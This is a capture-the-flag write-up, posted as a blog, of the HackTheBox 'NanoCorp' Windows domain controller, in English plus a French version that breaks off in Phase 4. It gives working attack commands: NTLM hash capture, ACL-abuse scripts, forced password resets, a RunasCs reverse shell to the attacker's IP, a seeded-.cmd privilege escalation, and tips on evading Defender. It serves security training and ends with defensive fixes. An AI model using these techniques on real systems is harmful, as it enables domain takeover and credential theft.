DEV Community: WhyShell

HTB — NanoCorp — Writeup

WhyShell — Sat, 27 Jun 2026 13:18:20 +0000

Info	Detail
Platform	HackTheBox
Difficulty	Hard
OS	Windows Server 2022
Themes	Active Directory, NTLM Coercion, ACL Abuse, Kerberos, MSI Repair Race
CVEs	CVE-2025-24071, CVE-2024-0670

TL;DR

NanoCorp is a Windows Server 2022 domain controller exposing a recruitment portal (hire.nanocorp.htb) that accepts ZIP uploads. We exploit CVE-2025-24071 to coerce NTLM authentication via a .library-ms file embedded in a ZIP — Responder captures the NTLMv2 hash of the web_svc service account.

After cracking the hash, BloodHound reveals an ACL chain: web_svc can add itself to the IT_SUPPORT group (AddSelf), which in turn can change the password of monitoring_svc (ForceChangePassword). That account, a member of the Protected Users group, requires Kerberos authentication to reach the DC over WinRM — which lands us the user flag.

Privesc exploits CVE-2024-0670: the Checkmk agent v2.1.0 creates temporary .cmd files with a predictable pattern during an MSI repair (msiexec /fa). By pre-placing our own read-only .cmd files, we get command execution as SYSTEM. The subtle trap: msiexec /fa requires an interactive session (logon type 2). We use RunasCs with the -l 2 flag from Evil-WinRM to obtain a reverse shell as web_svc inside an interactive session, then trigger msiexec from that session.

Attack Overview

┌─────────────────────────────────────────────────┐
│  hire.nanocorp.htb — ZIP Upload                 │
│  CVE-2025-24071 (.library-ms → NTLM coercion)   │
└────────────────────┬────────────────────────────┘
                     ↓
┌─────────────────────────────────────────────────┐
│  Responder captures NTLMv2 hash → web_svc       │
│  Hashcat crack → dksehdgh712!@#                 │
└────────────────────┬────────────────────────────┘
                     ↓
┌─────────────────────────────────────────────────┐
│  BloodHound ACL Chain                           │
│  web_svc ──[AddSelf]──→ IT_SUPPORT              │
│  IT_SUPPORT ──[ForceChangePassword]──→          │
│                              monitoring_svc     │
└────────────────────┬────────────────────────────┘
                     ↓
┌─────────────────────────────────────────────────┐
│  Protected Users → Kerberos required            │
│  kinit + evil-winrm --ssl -r NANOCORP.HTB       │
│  → monitoring_svc shell → 🚩 User flag          │
└────────────────────┬────────────────────────────┘
                     ↓
┌─────────────────────────────────────────────────┐
│  CVE-2024-0670 — Checkmk MSI Repair Race        │
│  RunasCs -l 2 → web_svc reverse shell           │
│  → Seed 10k .cmd files → msiexec /fa            │
│  → SYSTEM runs our payload                      │
│  → net user Administrator → 🚩 Root flag        │
└─────────────────────────────────────────────────┘

Phase 1 — Enumeration

1.1 Port scan with Rustscan

We start with a full scan using Rustscan, which quickly identifies open ports before handing off to Nmap for scripts and version detection.

export IP=10.129.243.199
export ME=$(ip addr show tun0 | grep 'inet ' | awk '{print $2}' | cut -d/ -f1)
echo "$IP dc01.nanocorp.htb nanocorp.htb" | sudo tee -a /etc/hosts

rustscan -a $IP --ulimit 5000 --range 1-65535 -- -sC -sV -oN nmap_full.txt -Pn

Key ports identified:

Port	Service	Observation
53	DNS	Simple DNS Plus — internal AD resolution
80	HTTP	Apache 2.4.58 (Win64) + PHP 8.2.12 — redirects to `nanocorp.htb`
88	Kerberos	Confirms a Domain Controller
389	LDAP	Domain: `nanocorp.htb`
445	SMB	Message signing required → no NTLM relay possible
5986	WinRM HTTPS	Only WinRM available (no plaintext 5985)
6556	—	Absent from external scan — we'll discover it later from the inside

Two important details in the scan:

The clock skew is nearly 7 hours — this is crucial for Kerberos commands. On this box, we use faketime -f '+7h' in front of each Kerberos command rather than changing the system clock (which would break TLS certificates).

SMB signing is required — this immediately rules out NTLM relay attacks (ntlmrelayx). We'll have to capture and crack the hashes, not relay them.

1.2 Vhost enumeration with ffuf

The Apache server redirects to nanocorp.htb — there may be other vhosts configured. We use ffuf to discover them.

ffuf -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt \
  -H "Host: FUZZ.nanocorp.htb" -u http://nanocorp.htb \
  -mc 200,302,403 -fc 301 | cat

Why | cat? ffuf displays an interactive progress bar that pollutes the output. Piping to cat forces a non-interactive mode — the output is clean and readable.

Why -fc 301? The server returns 301 to all non-existent subdomains (redirect to nanocorp.htb). That's the default noise we filter out — we only keep responses that behave differently (200, 302, 403).

Discovery: hire.nanocorp.htb — we add it to /etc/hosts:

echo "$IP hire.nanocorp.htb" | sudo tee -a /etc/hosts

1.3 The recruitment portal

We open http://hire.nanocorp.htb in the browser — it's a recruitment portal with a CV upload form.

The form accepts ZIP files and archives. This is our entry vector: we'll exploit the automatic archive processing by Windows Explorer.

Phase 2 — Initial Access: CVE-2025-24071 (NTLM Coercion via ZIP)

2.1 Why this CVE works

CVE-2025-24071 exploits a Windows Explorer behavior: when a ZIP archive is extracted, Explorer auto-processes certain special file types, including .library-ms files.

A .library-ms file is an XML file that describes a Windows "library" (Documents, Pictures, etc.). It can contain a UNC path (\\attacker-ip\share) as the library location. When Explorer processes this file, it tries to resolve the UNC path — which triggers an automatic NTLM authentication to our SMB server.

The key point: all of this happens without any user interaction. Extracting the ZIP is enough.

2.2 Generating the malicious ZIP

cd /mnt/macos/CTF/NanoCorp
git clone https://github.com/0x6rss/CVE-2025-24071_PoC
cd CVE-2025-24071_PoC
python3 poc.py

The PoC generates an exploit.zip containing a .library-ms file pointing to our IP via a UNC path.

2.3 Capturing the NTLMv2 hash

T1 — Responder listening on tun0:

sudo responder -I tun0 -v

T2 — Upload the exploit.zip on the hire.nanocorp.htb form.

We wait a few seconds — the server extracts the ZIP, Windows Explorer processes the .library-ms, and attempts SMB authentication toward us.

[SMB] NTLMv2-SSP Client   : 10.129.243.199
[SMB] NTLMv2-SSP Username : NANOCORP\web_svc
[SMB] NTLMv2-SSP Hash     : web_svc::NANOCORP:94f624ed11c6411e:8E122B...

We have the NTLMv2 hash of the web_svc service account — the account that runs Apache/PHP on the box.

2.4 Cracking the hash

We save the hash and crack it with Hashcat on the Mac's native M5 GPU (via the Metal API):

echo 'web_svc::NANOCORP:94f624ed11c6411e:8E122B...' > web_svc.hash
hashcat -m 5600 web_svc.hash ~/wordlists/rockyou.txt

Why -m 5600? That's NTLMv2 mode in Hashcat. NTLMv2 is the authentication protocol (challenge/response), not to be confused with the raw NT hash (-m 1000).

Result: web_svc / dksehdgh712!@#

Phase 3 — Horizontal Escalation: ACL Chain (BloodHound CE)

3.1 BloodHound collection

With web_svc's credentials, we run the BloodHound ingestor to map the AD:

bloodhound-python -u web_svc -p 'dksehdgh712!@#' \
  -d nanocorp.htb -dc dc01.nanocorp.htb -c All --zip -ns $IP

Why -ns $IP? We force the use of the DC's DNS directly. Without it, bloodhound-python tries to resolve names via Kali's system DNS, which doesn't know the nanocorp.htb zone — and the ingestor crashes with Failed to resolve LDAP server IP.

3.2 Analysis in BloodHound CE

We import the ZIP into BloodHound CE (http://localhost:8080) and explore web_svc's rights.

Node web_svc@nanocorp.htb → Outbound Object Control:

web_svc → IT_SUPPORT: AddSelf

Node IT_SUPPORT → Outbound Object Control:

IT_SUPPORT → monitoring_svc: ForceChangePassword

3.3 Why this ACL chain is dangerous

The full chain is:

web_svc ──[AddSelf]──→ IT_SUPPORT ──[ForceChangePassword]──→ monitoring_svc

AddSelf: web_svc has the right to add itself as a member of the IT_SUPPORT group. This is a more specific, weaker right than GenericAll — the principal cannot add other users, only itself. It's often configured so that service accounts can "join" a technical support group.

ForceChangePassword: the IT_SUPPORT group has the right to reset monitoring_svc's password without knowing the old one. This right is often granted to support teams to unblock accounts — but it's a direct entry point for an attacker who joins the group.

Result: with a single service account (web_svc), we can pivot to monitoring_svc in two steps without ever touching a privileged account.

3.4 Exploiting the ACL chain

Step 1 — web_svc adds itself to the IT_SUPPORT group

We use the Python ldap3 library to modify the group's member attribute. We go through a Python script to avoid password quoting issues (!@#) in zsh:

cat > /tmp/addself.py << 'EOF'
from ldap3 import Server, Connection, MODIFY_ADD
server = Server('dc01.nanocorp.htb', get_info='ALL')
conn = Connection(server, user='NANOCORP\\web_svc', password='dksehdgh712!@#')
conn.bind()
conn.modify(
    'CN=IT_SUPPORT,CN=Users,DC=nanocorp,DC=htb',
    {'member': [(MODIFY_ADD, ['CN=web_svc,CN=Users,DC=nanocorp,DC=htb'])]}
)
print(conn.result)
EOF
python3 /tmp/addself.py

Why a Python file and not a one-liner? The password contains !@# — zsh interprets ! as history expansion and # as a comment. The heredoc << 'EOF' (with single quotes around EOF) prevents any expansion.

Result: {'result': 0, 'description': 'success', ...}

Step 2 — Changing monitoring_svc's password

Now that web_svc is a member of IT_SUPPORT, we use rpcclient to change monitoring_svc's password:

cat > /tmp/changepwd.sh << 'EOF'
rpcclient -U "nanocorp.htb/web_svc%dksehdgh712!@#" dc01.nanocorp.htb \
  -c "setuserinfo2 monitoring_svc 23 'NanoPwned123!'"
EOF
bash /tmp/changepwd.sh

Why setuserinfo2 with code 23? Code 23 corresponds to UserInternal4InformationNew in the Windows SAMR API — it's the RPC call that changes the password without knowing the old one. This is exactly what the "Reset Password" button does in Active Directory Users and Computers.

No error = password changed successfully.

Phase 4 — monitoring_svc Shell via Kerberos WinRM

4.1 Why Kerberos is mandatory

monitoring_svc is a member of the Protected Users group in Active Directory. This group enforces strict security restrictions:

NTLM disabled: any NTLM authentication attempt is refused
No delegation: the account cannot be used for Kerberos delegation
Reduced TGT lifetime: 4 hours instead of 10

In practice, if we try evil-winrm -i dc01.nanocorp.htb -u monitoring_svc -p 'NanoPwned123!' (which uses NTLM by default), the connection will be silently refused. We must explicitly go through Kerberos.

4.2 Kerberos configuration and connection

# Kerberos configuration
sudo tee /etc/krb5.conf > /dev/null << 'EOF'
[libdefaults]
    default_realm = NANOCORP.HTB

[realms]
    NANOCORP.HTB = {
        kdc = dc01.nanocorp.htb
        admin_server = dc01.nanocorp.htb
    }

[domain_realm]
    .nanocorp.htb = NANOCORP.HTB
    nanocorp.htb = NANOCORP.HTB
EOF

# Get the Kerberos TGT
faketime -f '+7h' kinit monitoring_svc@NANOCORP.HTB
# Enter the password: NanoPwned123!

# WinRM connection via Kerberos
faketime -f '+7h' evil-winrm -i dc01.nanocorp.htb -r NANOCORP.HTB --ssl

Why --ssl? Port 5985 (plaintext WinRM) is not open — only 5986 (WinRM HTTPS) is available. The --ssl flag tells Evil-WinRM to use TLS.

Why -r NANOCORP.HTB? This flag enables Kerberos authentication in Evil-WinRM by specifying the realm. Without it, Evil-WinRM defaults to NTLM.

Why faketime? The ~7h clock skew between our Kali and the DC would make Kerberos requests fail. faketime adjusts the clock as seen by the process without touching the system clock.

4.3 User flag

type C:\Users\monitoring_svc\Desktop\user.txt

🚩 User flag owned!

Phase 5 — Privesc: CVE-2024-0670 (Checkmk MSI Repair Race)

5.1 Enumeration from monitoring_svc

We start by checking what's running on the box. Port 6556 wasn't visible from outside — let's check from the inside:

netstat -an | findstr 6556

TCP    0.0.0.0:6556    0.0.0.0:0    LISTENING

Port 6556 is the default port of the Checkmk agent — a system monitoring tool. Let's check the installed version:

Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\*\InstallProperties" |
    Where-Object { $_.DisplayName -like "*mk*" -or $_.DisplayName -like "*Check*" } |
    Select-Object DisplayName, DisplayVersion, LocalPackage

DisplayName        DisplayVersion  LocalPackage
-----------        --------------  ------------
Check MK Agent 2.1 2.1.0.50010     C:\Windows\Installer\1e6f2.msi

Version 2.1.0.50010 → vulnerable to CVE-2024-0670.

5.2 Understanding CVE-2024-0670 in depth

The normal mechanism

When an MSI repair (msiexec /fa) is launched for Checkmk, the agent performs the following steps:

Creates temporary .cmd files in C:\Windows\Temp with the pattern cmk_all_<PID>_<counter>.cmd
Writes its own configuration commands into these files
Executes these files as SYSTEM (the Windows Installer service runs as SYSTEM)
Deletes the temporary files

The vulnerability

The problem is twofold:

Predictable pattern: the file name contains only the PID of the msiexec process and a counter (0 or 1). The PID is in a predictable range — on Windows Server, PIDs typically run between 1000 and 15000.

No integrity check: msiexec does not verify that the .cmd content is the one it wrote. If the file already exists and is read-only, msiexec cannot overwrite it — and it executes the existing content anyway as SYSTEM.

The logon type trap

This is the most subtle point of the box. Windows distinguishes several types of authentication sessions:

Type	Name	Example
2	Interactive	Physical console, RunasCs `-l 2`
3	Network	WinRM, SMB, webshells
10	RemoteInteractive	RDP

The Windows Installer service (msiserver) refuses to launch an MSI repair (/fa) from a type 3 (network) session. It doesn't return an error — it fails silently. That's why:

Running msiexec /fa from Evil-WinRM → does nothing (type 3)
Running msiexec /fa from a webshell → does nothing (type 3 too, HTTP network)
Running msiexec /fa via RunasCs -l 2 → works (creates a type 2 session)

RunasCs with the -l 2 flag is the key tool here: it takes credentials and creates a real local interactive session (type 2), even from a network session. That's what allows bypassing the msiexec restriction.

5.3 Preparing the exploit

Step 1 — Upload RunasCs to C:\programdata

We upload RunasCs via Evil-WinRM into C:\programdata — a directory that Defender watches less than C:\Windows\Temp. The precompiled binary survives here without being deleted.

# From Evil-WinRM (monitoring_svc)
cd C:\programdata
upload /mnt/macos/CTF/NanoCorp/RunasCs.exe RunasCs.exe

Why C:\programdata and not C:\Windows\Temp? Defender actively monitors C:\Windows\Temp — known binaries like RunasCs or nc.exe get deleted almost instantly there. C:\programdata is a legitimate system directory, less scrutinized by Defender signatures.

Step 2 — web_svc reverse shell via RunasCs

We use RunasCs from Evil-WinRM to obtain a reverse shell as web_svc with an interactive type 2 session. It's this session that will let us trigger msiexec.

T1 — Penelope listening:

penelope -p 4444

From Evil-WinRM:

C:\programdata\RunasCs.exe web_svc 'dksehdgh712!@#' cmd.exe -r 10.10.16.52:4444 -l 2

Why -l 2? This flag forces RunasCs to create a type 2 logon (interactive). Without it, RunasCs uses the default type that wouldn't let msiexec work. It's the critical flag of the whole privesc.

Why -r 10.10.16.52:4444? RunasCs sends a reverse shell to our listener. We can't get a direct interactive shell from Evil-WinRM since we're already inside a WinRM session.

Penelope receives the shell — we verify:

C:\Windows\system32> whoami
nanocorp\web_svc

5.4 Exploit — Seed and trigger

From the web_svc reverse shell (interactive type 2 session), we prepare and trigger the exploit in two steps.

Step 1 — Seed the .cmd files

We create 10,000 .cmd files with a simple payload: write whoami to a proof file and change the Administrator password. No need for a SYSTEM reverse shell — we just change the admin password.

powershell -c "1..10000 | foreach { Set-Content -Path C:\Windows\Temp\cmk_all_${_}_1.cmd -Value 'whoami > C:\programdata\proof.txt & net user Administrator H4cked123!' -Force; Set-ItemProperty -Path C:\Windows\Temp\cmk_all_${_}_1.cmd -Name IsReadOnly -Value $true }"

Why such a simple payload? We don't need a SYSTEM reverse shell. The payload does two things: (1) it proves SYSTEM execution via whoami > proof.txt, and (2) it changes the Administrator password. After that, we connect directly as admin via Evil-WinRM. The simpler it is, the lower the risk that Defender intervenes.

Why counter _1? The counter in the Checkmk pattern starts at 0 or 1 depending on the version. We use _1 to cover the most common case.

Why -Force and IsReadOnly? -Force overwrites existing files (from a previous attempt). IsReadOnly prevents msiexec from replacing them with its own content — it runs ours instead.

Step 2 — Trigger msiexec /fa

Still from the web_svc reverse shell (type 2 session):

cmd /c "msiexec /fa C:\Windows\Installer\1e6f2.msi"

Why cmd /c? We wrap msiexec in cmd /c to make sure the command runs in a fresh, clean cmd.exe process, and that the current shell waits for execution to finish.

Why does this command work here but not from Evil-WinRM? Because we're in an interactive type 2 session created by RunasCs. Evil-WinRM is a type 3 network session — msiexec silently refuses to work there.

Step 3 — Verification

type C:\programdata\proof.txt

nt authority\system

📸 SYSTEM confirmed! The Administrator password has been changed.

5.5 Connecting as Administrator

The payload changed the administrator's password. We connect directly:

evil-winrm -i dc01.nanocorp.htb -u Administrator -p 'H4cked123!' --ssl

type C:\Users\Administrator\Desktop\root.txt

🚩 Root flag owned!

Pitfalls Encountered and Solutions

The logon type 2 vs 3 trap

This is the most frustrating point of the box: msiexec /fa produces no error when it refuses to run under logon type 3. It simply terminates without doing anything. You can spend hours debugging the payload (RunasCs? nc.exe? quoting?) when the actual problem is the execution context.

The solution: RunasCs with the -l 2 flag from Evil-WinRM to create a reverse shell inside an interactive session. From that session, msiexec agrees to run.

The lesson: when a Windows command does "nothing" without an error, think about the logon type. It's a pattern that also shows up with schtasks, wmic, and other tools that silently refuse network sessions.

BloodHound CE + PostgreSQL 18

The BloodHound CE version packaged in Kali (9.2.2-0kali1) is incompatible with PostgreSQL 18 (error syntax error at or near "STORAGE"). The TEXT STORAGE MAIN syntax was removed in PG18.

Fix: patch the SQL migration file and grant the right permissions to the role:

# Remove the obsolete STORAGE syntax
sudo sed -i -E 's/[[:space:]]+STORAGE[[:space:]]+(MAIN|EXTERNAL|EXTENDED|PLAIN|DEFAULT)//g' \
  /usr/lib/bloodhound/cmd/api/src/database/migration/migrations/00000000000001_init.sql

# Recreate the database with the right owner
sudo -u postgres psql <<'SQL'
DROP DATABASE IF EXISTS bloodhound;
CREATE DATABASE bloodhound OWNER _bloodhound;
\c bloodhound
ALTER SCHEMA public OWNER TO _bloodhound;
GRANT ALL ON SCHEMA public TO _bloodhound;
SQL

sudo systemctl restart bloodhound

Cleaner alternative: the official Docker stack (curl -L https://ghst.ly/getbhce -o docker-compose.yml && docker compose up -d), which ships its own compatible PostgreSQL version.

Blue Team — How to Fix

Vulnerability	Fix
CVE-2025-24071	Update Windows (patch KB5053598). Filter ZIP uploads on the application side — never extract archives server-side without a sandbox.
AddSelf on IT_SUPPORT	Audit AD ACLs with BloodHound. Remove the AddSelf right on support groups — use access request workflows (ITSM) instead.
ForceChangePassword	Restrict this right to dedicated administrative accounts, never to support groups. Enable auditing of password changes (Event ID 4724).
Bypassable Protected Users	Protected Users is a good practice, but it does not protect against a third party changing the password. Combine it with LAPS and rotating passwords.
CVE-2024-0670	Update Checkmk Agent to 2.2+ (fixed). In the meantime, restrict ACLs on `C:\Windows\Temp` to prevent non-SYSTEM users from writing `.cmd` files there.
Webshell via webroot	Don't grant `WriteData` to `BUILTIN\Users` on the webroot. Run Apache under a dedicated service account with minimal privileges.

References

Writeup by WhyShell — understand the why behind every exploit.

HTB — NanoCorp — Writeup Fr

WhyShell — Sat, 27 Jun 2026 13:11:38 +0000

Info	Détail
Plateforme	HackTheBox
Difficulté	Hard
OS	Windows Server 2022
Thèmes	Active Directory, NTLM Coercion, ACL Abuse, Kerberos, MSI Repair Race
CVEs	CVE-2025-24071, CVE-2024-0670

TL;DR

NanoCorp est un contrôleur de domaine Windows Server 2022 exposant un portail de recrutement (hire.nanocorp.htb) qui accepte des uploads ZIP. On exploite CVE-2025-24071 pour forcer une authentification NTLM via un fichier .library-ms embarqué dans un ZIP — Responder capture le hash NTLMv2 du compte de service web_svc.

Après crack du hash, BloodHound révèle une chaîne ACL : web_svc peut s'ajouter au groupe IT_SUPPORT (AddSelf), qui lui-même peut changer le mot de passe de monitoring_svc (ForceChangePassword). Ce dernier, membre du groupe Protected Users, nécessite une authentification Kerberos pour accéder au DC via WinRM — ce qui nous donne le flag user.

La privesc exploite CVE-2024-0670 : l'agent Checkmk v2.1.0 crée des fichiers .cmd temporaires avec un pattern prédictible lors d'une réparation MSI (msiexec /fa). En pré-plaçant nos propres fichiers .cmd en read-only, on obtient une exécution de commande en tant que SYSTEM. Le piège subtil : msiexec /fa exige une session interactive (logon type 2). On utilise RunasCs avec le flag -l 2 depuis Evil-WinRM pour obtenir un reverse shell en tant que web_svc dans une session interactive, puis on déclenche msiexec depuis cette session.

Vue d'ensemble de l'attaque

┌─────────────────────────────────────────────────┐
│  hire.nanocorp.htb — Upload ZIP                 │
│  CVE-2025-24071 (.library-ms → NTLM coercion)   │
└────────────────────┬────────────────────────────┘
                     ↓
┌─────────────────────────────────────────────────┐
│  Responder capture NTLMv2 hash → web_svc        │
│  Hashcat crack → dksehdgh712!@#                 │
└────────────────────┬────────────────────────────┘
                     ↓
┌─────────────────────────────────────────────────┐
│  BloodHound ACL Chain                           │
│  web_svc ──[AddSelf]──→ IT_SUPPORT              │
│  IT_SUPPORT ──[ForceChangePassword]──→          │
│                              monitoring_svc     │
└────────────────────┬────────────────────────────┘
                     ↓
┌─────────────────────────────────────────────────┐
│  Protected Users → Kerberos obligatoire         │
│  kinit + evil-winrm --ssl -r NANOCORP.HTB       │
│  → Shell monitoring_svc → 🚩 User flag          │
└────────────────────┬────────────────────────────┘
                     ↓
┌─────────────────────────────────────────────────┐
│  CVE-2024-0670 — Checkmk MSI Repair Race        │
│  RunasCs -l 2 → reverse shell web_svc           │
│  → Seed 10k .cmd files → msiexec /fa            │
│  → SYSTEM exécute notre payload                 │
│  → net user Administrator → 🚩 Root flag        │
└─────────────────────────────────────────────────┘

Phase 1 — Énumération

1.1 Scan de ports avec Rustscan

On commence par un scan complet avec Rustscan, qui identifie rapidement les ports ouverts avant de passer le relais à Nmap pour les scripts et la détection de version.

export IP=10.129.243.199
export ME=$(ip addr show tun0 | grep 'inet ' | awk '{print $2}' | cut -d/ -f1)
echo "$IP dc01.nanocorp.htb nanocorp.htb" | sudo tee -a /etc/hosts

rustscan -a $IP --ulimit 5000 --range 1-65535 -- -sC -sV -oN nmap_full.txt -Pn

Ports clés identifiés :

Port	Service	Observation
53	DNS	Simple DNS Plus — résolution interne AD
80	HTTP	Apache 2.4.58 (Win64) + PHP 8.2.12 — redirige vers `nanocorp.htb`
88	Kerberos	Confirme un Domain Controller
389	LDAP	Domaine : `nanocorp.htb`
445	SMB	Message signing required → pas de relay NTLM possible
5986	WinRM HTTPS	Seul WinRM disponible (pas de 5985 en clair)
6556	—	Absent du scan externe — on le découvrira plus tard depuis l'intérieur

Deux détails importants dans le scan :

Le clock skew est de presque 7 heures — c'est crucial pour les commandes Kerberos. Sur cette box, on utilise faketime -f '+7h' devant chaque commande Kerberos plutôt que de modifier l'horloge système (qui casserait les certificats TLS).

Le SMB signing est required — ça élimine d'emblée les attaques de type NTLM relay (ntlmrelayx). On devra capturer et cracker les hashes, pas les relayer.

1.2 Énumération de vhosts avec ffuf

Le serveur Apache redirige vers nanocorp.htb — il y a peut-être d'autres vhosts configurés. On utilise ffuf pour les découvrir.

ffuf -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt \
  -H "Host: FUZZ.nanocorp.htb" -u http://nanocorp.htb \
  -mc 200,302,403 -fc 301 | cat

Pourquoi | cat ? ffuf affiche une barre de progression interactive qui pollue la sortie. Le pipe vers cat force un mode non-interactif — la sortie est propre et lisible.

Pourquoi -fc 301 ? Le serveur répond 301 à tous les subdomains inexistants (redirect vers nanocorp.htb). C'est le bruit par défaut qu'on filtre — on ne garde que les réponses qui se comportent différemment (200, 302, 403).

Découverte : hire.nanocorp.htb — on l'ajoute au /etc/hosts :

echo "$IP hire.nanocorp.htb" | sudo tee -a /etc/hosts

1.3 Le portail de recrutement

On ouvre http://hire.nanocorp.htb dans le navigateur — c'est un portail de recrutement avec un formulaire d'upload de CV.

Le formulaire accepte des fichiers ZIP et archives. C'est notre vecteur d'entrée : on va exploiter le traitement automatique des archives par Windows Explorer.

Phase 2 — Initial Access : CVE-2025-24071 (NTLM Coercion via ZIP)

2.1 Pourquoi cette CVE fonctionne

CVE-2025-24071 exploite un comportement de Windows Explorer : quand une archive ZIP est extraite, Explorer auto-traite certains types de fichiers spéciaux, dont les fichiers .library-ms.

Un fichier .library-ms est un fichier XML qui décrit une "bibliothèque" Windows (Documents, Images, etc.). Il peut contenir une UNC path (\\attacker-ip\share) comme emplacement de la bibliothèque. Quand Explorer traite ce fichier, il tente de résoudre le chemin UNC — ce qui déclenche une authentification NTLM automatique vers notre serveur SMB.

Le point clé : tout ça se passe sans aucune interaction utilisateur. L'extraction du ZIP suffit.

2.2 Génération du ZIP malveillant

cd /mnt/macos/CTF/NanoCorp
git clone https://github.com/0x6rss/CVE-2025-24071_PoC
cd CVE-2025-24071_PoC
python3 poc.py

Le PoC génère un exploit.zip contenant un fichier .library-ms pointant vers notre IP via une UNC path.

2.3 Capture du hash NTLMv2

T1 — Responder en écoute sur tun0 :

sudo responder -I tun0 -v

T2 — Upload du exploit.zip sur le formulaire de hire.nanocorp.htb.

On attend quelques secondes — le serveur extrait le ZIP, Windows Explorer traite le .library-ms, et tente l'authentification SMB vers nous.

[SMB] NTLMv2-SSP Client   : 10.129.243.199
[SMB] NTLMv2-SSP Username : NANOCORP\web_svc
[SMB] NTLMv2-SSP Hash     : web_svc::NANOCORP:94f624ed11c6411e:8E122B...

On a le hash NTLMv2 du compte de service web_svc — c'est le compte qui fait tourner Apache/PHP sur la box.

2.4 Crack du hash

On sauvegarde le hash et on le cracke avec Hashcat sur le GPU natif M5 du Mac (via l'API Metal) :

echo 'web_svc::NANOCORP:94f624ed11c6411e:8E122B...' > web_svc.hash
hashcat -m 5600 web_svc.hash ~/wordlists/rockyou.txt

Pourquoi -m 5600 ? C'est le mode NTLMv2 dans Hashcat. NTLMv2 est le protocole d'authentification (challenge/response), à ne pas confondre avec le hash NT brut (-m 1000).

Résultat : web_svc / dksehdgh712!@#

Phase 3 — Escalade horizontale : ACL Chain (BloodHound CE)

3.1 Collecte BloodHound

Avec les credentials de web_svc, on lance l'ingestor BloodHound pour cartographier l'AD :

bloodhound-python -u web_svc -p 'dksehdgh712!@#' \
  -d nanocorp.htb -dc dc01.nanocorp.htb -c All --zip -ns $IP

Pourquoi -ns $IP ? On force l'utilisation du DNS du DC directement. Sans ça, bloodhound-python tente de résoudre les noms via le DNS système de la Kali, qui ne connaît pas la zone nanocorp.htb — et l'ingestor plante avec Failed to resolve LDAP server IP.

3.2 Analyse dans BloodHound CE

On importe le ZIP dans BloodHound CE (http://localhost:8080) et on explore les droits de web_svc.

Nœud web_svc@nanocorp.htb → Outbound Object Control :

web_svc → IT_SUPPORT : AddSelf

Nœud IT_SUPPORT → Outbound Object Control :

IT_SUPPORT → monitoring_svc : ForceChangePassword

3.3 Pourquoi cette chaîne ACL est dangereuse

La chaîne complète est :

web_svc ──[AddSelf]──→ IT_SUPPORT ──[ForceChangePassword]──→ monitoring_svc

AddSelf : web_svc a le droit de s'ajouter lui-même comme membre du groupe IT_SUPPORT. C'est un droit spécifique plus faible que GenericAll — le principal ne peut pas ajouter d'autres utilisateurs, seulement lui-même. C'est souvent configuré pour que des comptes de service puissent "rejoindre" un groupe de support technique.

ForceChangePassword : le groupe IT_SUPPORT a le droit de réinitialiser le mot de passe de monitoring_svc sans connaître l'ancien. Ce droit est souvent accordé aux équipes de support pour débloquer des comptes — mais c'est une porte d'entrée directe pour un attaquant qui rejoint le groupe.

Résultat : avec un seul compte de service (web_svc), on peut pivoter vers monitoring_svc en deux étapes sans jamais toucher à un compte privilégié.

3.4 Exploitation de la chaîne ACL

Étape 1 — web_svc s'ajoute au groupe IT_SUPPORT

On utilise la bibliothèque Python ldap3 pour modifier l'attribut member du groupe. On passe par un script Python pour éviter les problèmes de quoting du mot de passe (!@#) dans zsh :

cat > /tmp/addself.py << 'EOF'
from ldap3 import Server, Connection, MODIFY_ADD
server = Server('dc01.nanocorp.htb', get_info='ALL')
conn = Connection(server, user='NANOCORP\\web_svc', password='dksehdgh712!@#')
conn.bind()
conn.modify(
    'CN=IT_SUPPORT,CN=Users,DC=nanocorp,DC=htb',
    {'member': [(MODIFY_ADD, ['CN=web_svc,CN=Users,DC=nanocorp,DC=htb'])]}
)
print(conn.result)
EOF
python3 /tmp/addself.py

Pourquoi un fichier Python et pas une one-liner ? Le mot de passe contient !@# — zsh interprète ! comme un event history et # comme un commentaire. L'heredoc << 'EOF' (avec quotes simples autour de EOF) empêche toute expansion.

Résultat : {'result': 0, 'description': 'success', ...}

Étape 2 — Changement du mot de passe de monitoring_svc

Maintenant que web_svc est membre de IT_SUPPORT, on utilise rpcclient pour changer le mot de passe de monitoring_svc :

cat > /tmp/changepwd.sh << 'EOF'
rpcclient -U "nanocorp.htb/web_svc%dksehdgh712!@#" dc01.nanocorp.htb \
  -c "setuserinfo2 monitoring_svc 23 'NanoPwned123!'"
EOF
bash /tmp/changepwd.sh

Pourquoi setuserinfo2 avec le code 23 ? Le code 23 correspond à UserInternal4InformationNew dans l'API SAMR de Windows — c'est l'appel RPC qui change le mot de passe sans connaître l'ancien. C'est exactement ce que fait le bouton "Reset Password" dans Active Directory Users and Computers.

Pas d'erreur = mot de passe changé avec succès.

Phase 4 — Shell monitoring_svc via Kerberos WinRM

4.1 Pourquoi Kerberos est obligatoire

monitoring_svc est membre du groupe Protected Users dans Active Directory. Ce groupe applique des restrictions de sécurité strictes :

NTLM désactivé : toute tentative d'authentification NTLM est refusée
Pas de délégation : le compte ne peut pas être utilisé pour la délégation Kerberos
Durée de TGT réduite : 4 heures au lieu de 10

En pratique, si on essaie evil-winrm -i dc01.nanocorp.htb -u monitoring_svc -p 'NanoPwned123!' (qui utilise NTLM par défaut), la connexion sera refusée silencieusement. Il faut explicitement passer par Kerberos.

4.2 Configuration Kerberos et connexion

# Configuration Kerberos
sudo tee /etc/krb5.conf > /dev/null << 'EOF'
[libdefaults]
    default_realm = NANOCORP.HTB

[realms]
    NANOCORP.HTB = {
        kdc = dc01.nanocorp.htb
        admin_server = dc01.nanocorp.htb
    }

[domain_realm]
    .nanocorp.htb = NANOCORP.HTB
    nanocorp.htb = NANOCORP.HTB
EOF

# Obtention du TGT Kerberos
faketime -f '+7h' kinit monitoring_svc@NANOCORP.HTB
# Entrer le mot de passe : NanoPwned123!

# Connexion WinRM via Kerberos
faketime -f '+7h' evil-winrm -i dc01.nanocorp.htb -r NANOCORP.HTB --ssl

Pourquoi --ssl ? Le port 5985 (WinRM en clair) n'est pas ouvert — seul le 5986 (WinRM HTTPS) est disponible. Le flag --ssl dit à Evil-WinRM d'utiliser TLS.

Pourquoi -r NANOCORP.HTB ? Ce flag active l'authentification Kerberos dans Evil-WinRM en spécifiant le realm. Sans lui, Evil-WinRM tente NTLM par défaut.

